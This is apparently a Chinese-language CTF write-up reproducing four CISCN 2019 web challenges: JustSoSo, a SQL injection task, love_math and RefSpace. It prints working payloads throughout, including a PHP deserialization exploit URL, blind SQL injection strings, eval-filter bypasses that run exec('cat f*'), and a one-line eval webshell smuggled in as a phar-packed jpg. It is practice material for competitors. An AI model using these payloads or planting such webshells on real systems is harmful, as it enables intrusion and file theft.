ciscn2019 web 复现

之前说好高产一波碰上期末就失败了Orz,赶紧补一下四月底的国赛

JustSoSo

算是一道简单的题
首先F12发现提示

于是filer协议一波获得源码

1
2
?file=php://filter/read=convert.base64-encode/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=hint.php

先读一下index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload))
{
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value)
{

if (preg_match("/flag/",$value)){
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}
else{
echo "Missing parameters";
}
?>
<!-- Please test index.php?file=xxx.php -->
<!-- Please get the source of hint.php -->
</html>

可以看到不允许我们直接用file参数读取flag文件,那flag八成在flag.php或者flag.txt
然后又对payload参数进行了flag的过滤,不过parse_url($_SERVER[‘REQUEST_URI’])我们可以通过在域名后用///使得处理后的值为false从而绕过检查
最后将payload反序列化,那应该就是要通过这里拿flag了

然后读hint.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

?>

在Flag类的getFile方法有一处读取文件,那应该就是要通过这里拿flag了。不过前面要绕过token与token_flag的对比,这里用不了弱类型,不过我们可以用引用。类似与C++里的指针,不过php里用得太少就没想到。
绕过这个后,看到Handle类里的析构方法,会调用handle属性的getFlag()方法,那就是要把handle属性设为Flag类。然后绕过那个__wakeup()方法只要修改一下序列化后的类的属性数量就ok

于是拿hint.php构造一波

1
2
3
4
5
$f = new Flag('flag.php');
$f->token = &$f->token_flag;
$h = new Handle($f);
$a = serialize($h);
echo urlencode($a);

Payload:

1
?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22bf1b2f4b901c21a1d8645018ea9aeb05%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

然而我在本地试了无数次都不行,查了一堆才发现我的php5版本为5.6.28,然而这个漏洞在php5要在5.6.25一下,php7要在7.0.10【吐血ing

全宇宙最简单的SQL

这题不太好复现,当时做的时候大概就是fuzz出了
if or sleep when case
这些常用的字符。布尔和时间盲注是不太行了,于是尝试报错盲注,发现exp没被过滤,那接下来就是一顿操作了

' union select (select((ascii(substr(database(),1,1))=96)))*999*pow(999,102)#

成功跑出数据库名和user(),但由于过滤了or,information_schema库访问不了,mysql库也缺权限。虽然列可以不用知道,但不能没表名,只能靠猜了,不过表名确实也很“弱表名”——user

于是

1
' union select (select((ascii(substr((select(select d.1 from (select * from (select 1)b,(select 2)c union select * from user)d limit 1 offset 2)e),1,1))=96)))*999*pow(999,102)#

成功,于是脚本跑一波得到密码,进去后是个mysql扫描器,和ddctf那题一样,部署一下伪装的mysql服务器然后让扫描器去扫就能获取任意文件了
【这题当时做时用了locate()没区分大小写一直登不进去到自闭orz

love_math

一道非常硬核的题目,各种奇淫技巧都用上了

先读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

可以看到对参数c限制了长度小于80,同时过滤了一些常用的字符,然后只允许所有存在的字符串都要时白名单中的字符串
最后一个eval,一看要利用的地方就是这里

先想办法用system('ls')跑出目录来
看白名单列表,只有base_convert和hexdec是能将数字转成字符串的。base_convert能将字符在36进制内随意转换,那就利用这个

先试一下system在哪个进制下长度最短

1
2
3
4
5
6
<?php
system('ls')

for($i=0;$i<=36;$i++){
echo $i." ".base_convert("system",35,$i)."<br>";
}

发现比较适合的是9进制(转化后全为数字)。

然后试ls发现在21进制下最适合

接着是一波echo的奇淫技巧,我们可以用echo ($a=1);输出同时给a赋值。然后在php7下我们还可以echo ($a=function)();执行一个函数。这样我们可以用一个短变量名代替base_convert简短字符量。于是我们拿最短的pi作为变量名

?c=($pi=base_convert)(3833484266,9,35)($pi(197,21,29))

一波跑出目录

于是尝试system(‘cat flag.txt’)
这里.单用给的函数是解决不了的,但我们可以用base_convert构造出任意函数,于是选用hex2bin来转标点符号

于是还是先测hex2bin的长度,在14进制下是比较适合的。但是转后的字符还是有个a,于是又要改进制,但这里没必要用base_convert(太长了),用dechex就ok。然后构造一波,发现长度大过80,接着尝试构造system('cat *'),正好是80位,还是用不了

于是改个方向不用system,用更短的exec。但exec只能读最后一行,于是我们要构造的是exec('cat f*')

再跑一波发现exec使用23进制比较适合,然后就是一波操作构造出payload

?c=($pi=base_convert)(22950,23,34)($pi(1438255411,14,34)(dechex(109270211257898)))

正好79位,稳

这题其实还可以_GET,system,getallheaders 或者 readfile这些函数,然后利用php7才有的{}去传入数据

RefSpace

挺综合的题吧,这题因为本地环境用的是5.6所以改了一些代码,然后没做FlanSDK的全局引入所以脚本基本都会多一句引入

首先访问,可以看到明显的文件包含

于是一波操作把能搞到的代码搞下来

index.php

php://filter/read=convert.base64-encode/resource=index

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(E_ALL);
define('LFI', 'LFI');
$lfi = $_GET['route'] ?: false;
if (!$lfi) {
header("location: ?route=app/index");
exit();
}
include "{$lfi}.php";
//Good job, you know how to use LFI, don‘t you?
//But You are still far from flag
//hint: ?router=app/flag

app/flag.php

php://filter/read=convert.base64-encode/resource=app/flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
include("FlagSDK.php");
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?: false;
if (!$key) {
echo "Please provide access key<br \>";
echo $_GET["key"];
exit();
}
$flag = $sdk->verify($key);
if ($flag) {
echo $flag;
} else {
echo "Wrong Key";
exit();
}
//Do you want to know more about this SDK?
//we ‘accidentally‘ save a backup.zip for more information

app/index.php

php://filter/read=convert.base64-encode/resource=app/index

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
?>
<html>

<head>
<meta charset="UTF-8">
</head>

<body>

Hi CTFer,<br />
这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br />
Powered by Aoisystem<br />
<!-- error_reporting(E_ALL); -->

</body>

</html>

可以看到flag.php处引入了一个FlagSDK类,进行了一系列操作后就能得到flag
继续摸,访问robots.txt发现app/Up10aD.php

于是拿一波源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}

if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
default:
echo "Only gif/jpg allowed";
exit();
}
$dst = "upload/" . $_FILES["file"]["name"] . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
echo "文件保存位置: {$dst}<br />";
}
?>
<html>

<head>
<meta charset="UTF-8">
</head>

<body>
我们不能让选手轻而易举的搜索到上传接口。<br />
即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪
<form method="post" enctype="multipart/form-data">
<label for="file">来选择你的文件吧:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>

</html>

只能上传gif和jpg
这里由于前面有一个文件包含,于是尝试一下phar协议

使用phar协议我们可以将脚本打包进一个phar包,然后就算修改为不同后缀名,但只要是通过phar协议去访问,依旧可以访问到我们的目标脚本。原因也很简单,打包成phar包的过程实际上是个序列化的过程,然后访问则是一个反序列化的过程,于是就算不是phar后缀也没关系

于是上一句话

1
2
3
<?php
eval($_GET['cmd']);
?>

然后打包成phar包,上传,访问读目录

?route=phar://upload/eval.jpg.jpg/eval&cmd=print_r(scandir("."));

发现flag.txt,不过原题中是加密的,这里也就不从这拿flag。然后有个backup.zip,下下来解压看看

给了我们刚刚不知道的FlagSDK中处理的操作
于是尝试去访问一下getHash()

1
2
3
4
5
<?php
include("FlagSDK.php");
use interesting\FlagSDK;
$a = new FlagSDK();
echo $a->getHash();

报错,这个getHash居然是个私有方法,这就触及到我的知识盲区了Orz
于是各种查,找到了php中有个反射类,可以通过这个类去获取目标类的信息,甚至可以类外调用私有方法,牛逼啊【不过这也造成了很大的安全问题呀

PHP的反射类ReflectionClass、ReflectionMethod使用实例

于是一波操作

1
2
3
4
5
6
7
<?php
include("FlagSDK.php");
$class = new ReflectionClass('\interesting\FlagSDK');
$intance = $class->newInstanceArgs();
$method = $class->getmethod('getHash');
$method->setAccessible(true);
echo $method->invoke($intance);

这里newInstanceArgs是实例化类,getmethod是指向要调用的方法,setAccessible设置权限,invoke执行

拿到hash
然后再重写一下sha1方法,这里记得要设置命名空间,不然会直接去调用原生的sha1方法

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace interesting;

function sha1($a){
return 'ajdsfjvcnvkz1564cxz4c';
}
include("FlagSDK.php");
use interesting\FlagSDK;
$a = new FlagSDK();
$flag = $a->verify(1);
echo $flag;

拿到flag